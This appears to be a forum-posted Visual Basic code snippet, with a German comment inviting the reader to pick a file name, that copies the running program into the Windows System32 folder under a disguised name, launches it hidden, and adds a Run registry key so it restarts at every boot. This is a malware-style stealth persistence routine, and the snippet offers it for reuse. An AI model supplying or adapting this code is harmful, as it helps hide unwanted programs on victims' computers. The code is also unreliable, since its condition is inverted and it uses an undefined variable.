Code:
Dim strInstallPath as String
strInstallPath = Environ("WINDIR") & "\System32\"
Select Case App.Path & "\"
Case strInstallPath
FileCopy app.Path & "\" & app.exename & ".exe", strInstallPath & "deinname.exe" 'Hier kannst du den namen wählen
Shell strInstallPath & "deinname.exe", vbHide
Reg_Add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & strRegName, App.Path & "\" & App.EXEName & ".exe"
End Select
Private Function Reg_Add(hkeypath As String, Value As String)
On Error Resume Next
Dim ObjAdd
Set ObjAdd = CreateObject("wscript.shell")
ObjAdd.regwrite hkeypath, Value
Exit Function
End Function